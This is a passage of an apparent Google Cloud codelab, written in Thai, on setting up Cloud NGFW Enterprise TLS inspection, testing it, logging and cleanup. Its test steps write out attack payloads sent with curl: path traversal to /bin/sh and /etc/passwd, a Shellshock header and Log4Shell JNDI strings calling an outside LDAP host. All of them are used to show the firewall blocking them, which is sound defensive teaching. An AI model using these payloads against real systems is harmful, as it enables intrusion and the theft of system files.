ก่อนหน้านี้ เราได้กําหนดค่ากฎไฟร์วอลล์เพื่ออนุญาตให้การรับส่งข้อมูลขาเข้าไปยังเซิร์ฟเวอร์ของเราจากซับเน็ตภายใน ตอนนี้เราจะอัปเดตกฎขาเข้าที่มีอยู่และตั้งค่าการดำเนินการเป็น apply_security_profile_group ซึ่งจะเปิดใช้การตรวจสอบ L7 ฝั่งตะวันออก/ตะวันตกด้วย TLS
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
สร้างกฎใหม่เพื่อตรวจสอบ L7 ขาเหนือด้วย TLS
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
สร้างกฎใหม่เพื่ออนุญาตการออกสำหรับ E/W เพื่อป้องกันการตรวจสอบซ้ำ
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. การตรวจสอบการตรวจสอบ TLS ขาออก
เปลี่ยนกลับไปที่แท็บ VM ของลูกค้าหรือเชื่อมต่ออีกครั้งโดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
ส่งตัวอย่างการโจมตีไปยังปลายทางอินเทอร์เน็ต
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
ไม่ได้รับการตอบกลับตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าระบบบล็อกการโจมตีตัวอย่างแล้ว
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
ตั้งค่าตัวแปรเป็น IP ของเซิร์ฟเวอร์จากก่อนหน้านี้
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ส่งคําขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์
curl https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดหวัง
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
เหตุใดคำขอนี้จึงดำเนินการไม่สำเร็จ เนื่องจากไฟร์วอลล์ได้รับใบรับรองจากเซิร์ฟเวอร์ที่ไม่น่าเชื่อถือ หากเกิดกรณีเช่นนี้ เซิร์ฟเวอร์จะส่งใบรับรองที่ลงนามด้วยตนเองกลับไปยังไคลเอ็นต์ เราต้องเพิ่มใบรับรอง CA เป็นส่วนหนึ่งของการกําหนดค่าความน่าเชื่อถือเพื่อเปิดใช้ความน่าเชื่อถือ
กลับไปที่ Cloud Shell
11. กำหนดค่าการกําหนดค่าความน่าเชื่อถือ
รับใบรับรอง CA รูทและตั้งค่าเป็นตัวแปรที่มีการจัดรูปแบบที่เหมาะสม
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
กำหนดค่าไฟล์ YAML ของการกำหนดค่าความน่าเชื่อถือ ไฟล์นี้มีรายละเอียดความน่าเชื่อถือ เช่น ใบรับรอง CA
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
คำสั่งข้างต้นรวมใบรับรอง CA รูทไว้ในที่เก็บข้อมูลเชื่อถือเนื่องจากใบรับรองเซิร์ฟเวอร์ได้รับการเซ็นชื่อโดยใช้ CA รูท ซึ่งหมายความว่าไฟร์วอลล์จะเชื่อถือใบรับรองที่ได้รับซึ่งลงนามโดย CA รูทของคุณ นอกเหนือจาก Public CA หากนโยบาย TLS ตั้งค่า excludePublicCaSet เป็นเท็จ
ตรวจสอบเนื้อหาของไฟล์การกําหนดค่าความน่าเชื่อถือ
cat trust_config.yaml
ตัวอย่างเอาต์พุต
โปรดตรวจสอบการจัดวางการเยื้องของใบรับรองอย่างละเอียด โดยต้องเป็นไปตามรูปแบบนี้ทุกประการ
name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
นําเข้าการกําหนดค่าความน่าเชื่อถือ โดยทําดังนี้
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
อัปเดตไฟล์ YAML ของนโยบาย TLS ให้รวมการกำหนดค่าความน่าเชื่อถือ โดยทำดังนี้
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
นําเข้านโยบาย TLS ที่อัปเดตแล้ว โดยทําดังนี้
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. การตรวจสอบการตรวจสอบ TLS ฝั่งตะวันออก/ตะวันตก
SSH กลับไปยังไคลเอ็นต์เพื่อทดสอบการรับส่งข้อมูลฝั่งตะวันออก/ตะวันตกด้วยการกำหนดค่าความน่าเชื่อถือที่อัปเดตแล้ว
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
เรียกใช้คําขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์
curl https://$target_privateip --max-time 2
หากยังเห็นเอาต์พุตด้านล่าง โปรดรอให้ระบบเผยแพร่การอัปเดต
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
ผลลัพธ์ที่คาดหวัง
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
ส่งการเข้าชมทดสอบที่เป็นอันตรายไปยังเซิร์ฟเวอร์
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดหวัง
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
เราไม่ได้รับการตอบกลับตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าตอนนี้ระบบบล็อกการโจมตีตัวอย่างสําหรับ E/W แล้ว
13. การบันทึก
ไปที่การบันทึก > เครื่องมือสำรวจบันทึกผ่านคอนโซลระบบคลาวด์ ป้อนตัวกรองด้านล่าง แล้วค้นหาบันทึก แทนที่ [PROJECT_ID] ด้วย project_id ของคุณ
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
รายการบันทึกของ Cloud NGFW Enterprise ควรมีลักษณะคล้ายกับด้านล่าง
ขยายรายการบันทึกและสังเกตว่าระบบตรวจพบและบล็อกการโจมตีที่ส่งจาก VM ของไคลเอ็นต์ไปยังเซิร์ฟเวอร์แล้ว (ช่องโหว่การเรียกใช้โค้ดจากระยะไกลของ Apache Log4j ตามภาพหน้าจอด้านล่าง)
คุณติดตั้งใช้งาน Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS เพื่อบล็อกคําขอที่เป็นอันตรายสําเร็จแล้ว
ไปที่ส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล
14. ขั้นตอนการล้างข้อมูล
การล้างข้อมูลการตั้งค่าพื้นฐาน
นำอินสแตนซ์ออก
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
ทําตามขั้นตอนด้านล่างifมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
นำคีย์และค่าแท็กออก
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
นำนโยบายเครือข่ายไฟร์วอลล์ในระบบคลาวด์และการเชื่อมโยงออก โดยทำดังนี้
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
ลบ Cloud Router และ Cloud NAT โดยทำดังนี้
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
ลบที่อยู่ IP ที่สงวนไว้ โดยทำดังนี้
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
SPG, การเชื่อมโยง และการจัดระเบียบ TLS ของ Cloud Firewall
ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์ภัยคุกคามตามลําดับนี้
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
ลบการเชื่อมโยงปลายทางของ Cloud Firewall โดยทำดังนี้
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
ลบปลายทางของ Cloud Firewall ซึ่งอาจใช้เวลาประมาณ 20 นาที
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
(ไม่บังคับ) ยืนยันว่าระบบได้ลบอุปกรณ์ปลายทาง NGFW บนระบบคลาวด์แล้วโดยเรียกใช้คําสั่งด้านล่าง
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
สถานะของปลายทางควรแสดงข้อมูลต่อไปนี้
STATE: DELETING
เมื่อดำเนินการเสร็จสิ้นแล้ว ปลายทางจะไม่แสดงในรายการอีกต่อไป
ลบนโยบาย TLS และการกำหนดค่าการเชื่อถือตามลำดับต่อไปนี้
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
ปิดใช้และลบ CA ระดับสูงและพูล CA โดยทำดังนี้
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
การล้างข้อมูลซับเน็ตและ VPC
สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC โดยทำดังนี้
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. ยินดีด้วย
ยินดีด้วย คุณทำ Codelab การตรวจสอบ TLS ขาเข้าและขาออกของ Cloud NGFW Enterprise เสร็จสมบูรณ์แล้ว